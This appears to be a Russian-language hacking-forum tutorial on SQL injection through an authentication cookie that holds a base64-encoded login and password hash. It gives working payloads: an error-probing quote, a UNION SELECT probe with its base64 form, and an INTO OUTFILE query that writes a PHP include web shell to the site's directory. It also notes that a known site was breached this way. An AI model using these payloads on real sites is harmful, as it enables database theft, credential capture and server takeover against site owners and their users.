Intro Сейчас на многих сайтах, чатах, форумах мы встречаемся с системой аутентификации через cookie Наверняка всем известен способ использования xss уязвимости для кражи содержимого cookie с их последующей подменой, но сегодня разговор не о том. К сожалению при работе с конкретным сайтом, мы не имеем возможности просмотреть пхп исходники, того же файла авторизации, так что тут 2 варианта: либо если вы работаете с паблик движком, просто скачать его себе на локаку и посмотреть исходники, надеясь, что они не были изменены администратором сайта, либо, если движок самописный, работать с завязанными глазами, как чаще всего и получается. Распространена ситуация когда переменная из кук не фильтруеться\не проверяеться и ничтоже сумняшися отправляется в sql запрос к базе. т.е мы модифицируя ее значение можем послать произвольный запрос к базе Пример, предположим мы имеем слудющие значения в куках: PHP: lang rus 212.1.65.134/kakoi to dvig/ * vasja pisin dmFzamEgcGlzaW46NWFndDRjM2I1YWJiNjVkNjVkODYyN2Q3YjhzYWNmOQ k6 212.1.65.134/kakoi to dvig/ * Привлекает внимание строка закодированная в бэйс 64. Отправляемся на http://ha.ckers.org/xss.html и декодируем это дело: видим что это логин и хеш пароля ( это может быть сессия или что угодно, хеш пароля реже) Код: vasja pisin:5agt4c3b5abb65d65d8627d7b8sacf9 имеем наш логин: наш пароль Иньекция Попробуем изменить исходные данные Код: vasja pisin':5agt4c3b5abb65d65d8627d7b8sacf9 и шифруем обратно в бэйс 64 и подменяем кук, открываем страницу в браузере и если видим что то вроде: failed selection from database или какую либо стандартную ошибку, значит sql запрос был изменен успешно и базе это непоравилось. как можно действовать дальше? Так же как и в обычной sql иньекции: Предположим что Код: admin' union select 1,2,3,4,5:5agt4c3b5abb65d65d8627d7b8sacf9 кодированный в бэйс - PHP: YWRtaW4nIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDU6NWFndDRjM2I1YWJiNjVkNjVkODYyN2Q3Yjhz YWNmOQ== выполнится успешно и в при просотре страницы мы не увидим ошибки или увидем принтабельный столбец Если притабельный столбец есть, то можно аналогично пытаться выполнить запрос к базе модифицируя его и получить интересные данные, такие как логин и проль администратора и.тд Если притабельных стобцов нет, то необходимо подобрать какую либо таблицу и попробывать выполнить запись файла. Код: admin' union select 1,'<?%20include($_GET["inc"]);%20?>',3,4,5 from+mysql.user INTO OUTFILE '/usr/local/apache/site/shell.php' :5agt4c3b5abb65d65d8627d7b8sacf9 Если после кодировки и подмены данных у вас хватит прав, то на сервере будет создан файл shell.php, после чего элементарно заливаеться шелл Отнюдь не стоит пренебрегать этим видом уязвимости, очень часто разработчик забывает именно о куках. К слову именно через скуль в куках был произведен взлом хакзоны Энд